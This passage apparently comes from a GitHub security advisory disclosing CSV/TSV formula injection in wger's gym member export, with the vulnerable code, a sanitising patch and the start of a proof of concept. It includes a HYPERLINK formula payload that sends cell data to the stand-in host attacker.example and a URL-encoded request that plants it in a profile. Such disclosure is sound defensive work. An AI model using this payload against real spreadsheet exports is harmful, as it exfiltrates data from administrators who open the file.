GitHub Security Advisory: GHSA-xq9m-hmp9-fw87
Package: wger (PIP)
Severity: HIGH (CVSS 7.4)
CWE: CWE-1236: Improper Neutralization of Formula Elements in a CSV File
Vulnerable versions: <= 2.5
Patched in: 2.6

Summary: wger: CSV/TSV formula injection in gym member export (first_name/last_name)

Details:
### Summary

The gym member TSV export endpoint in wger writes `first_name` and `last_name` profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context — enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution.

### Details

**File**: `wger/gym/views/export.py`, approximately line 73

```python
# VULNERABLE - wger/gym/views/export.py
writer.writerow([
    user.id,
    gym.name,
    user.username,
    user.email,
    user.first_name,   # written verbatim - no formula prefix sanitization
    user.last_name,    # written verbatim
    ...
])
```

Python's `csv.writer` does not escape spreadsheet formula triggers (`=`, `+`, `-`, `@`, `\t`, `\r`). Any gym member can set their `first_name` to `=HYPERLINK("http://attacker.example/?p="&A1,"click")` via the profile edit endpoint. The string is stored in the database and reproduced without modification in every subsequent TSV export. When a gym admin opens the resulting file in a formula-evaluating spreadsheet application, the formula executes in their local context — outside the wger server boundary.

**Affected endpoints**:
- `GET /en/gym/export/users/<gym_pk>` -> `wger.gym.views.export` (TSV download)
- Profile fields injected via profile edit endpoint (first_name/last_name)

**Suggested patch**:

```diff
--- a/wger/gym/views/export.py
+++ b/wger/gym/views/export.py
+FORMULA_PREFIXES = ('=', '+', '-', '@', '\t', '\r')
+
+def sanitise_cell(value):
+    """Prefix formula-triggering strings with a single-quote to neutralise."""
+    s = str(value) if value is not None else ''
+    if s and s[0] in FORMULA_PREFIXES:
+        return "'" + s
+    return s
+
 writer.writerow([
     user.id,
     gym.name,
     user.username,
     user.email,
-    user.first_name,
-    user.last_name,
+    sanitise_cell(user.first_name),
+    sanitise_cell(user.last_name),
     ...
 ])
```

Prepending `'` to any cell value beginning with `=`, `+`, `-`, or `@` is the standard OWASP-recommended mitigation for CSV/TSV formula injection. Apply `sanitise_cell` to all exported user-supplied fields, or subclass `csv.writer` to apply the sanitization globally for future fields.

### PoC

Tested on `wger/server:latest` Docker image. Test users: gym member (any registered user) and trainer1 (`manage_gym` permission).

**Step 1** - Inject formula payload into profile (any gym member, including self-registered):

```
POST /en/user/<user_pk>/overview HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=[member_session]

first_name=%3DHYPERLINK%28%22http%3A%2F%2Fattacker.example%2Fx%3Fp%3D%22%26A1%2C%22click%22%29
```

URL-decoded value: `=HYPERLINK("http://attacker.examp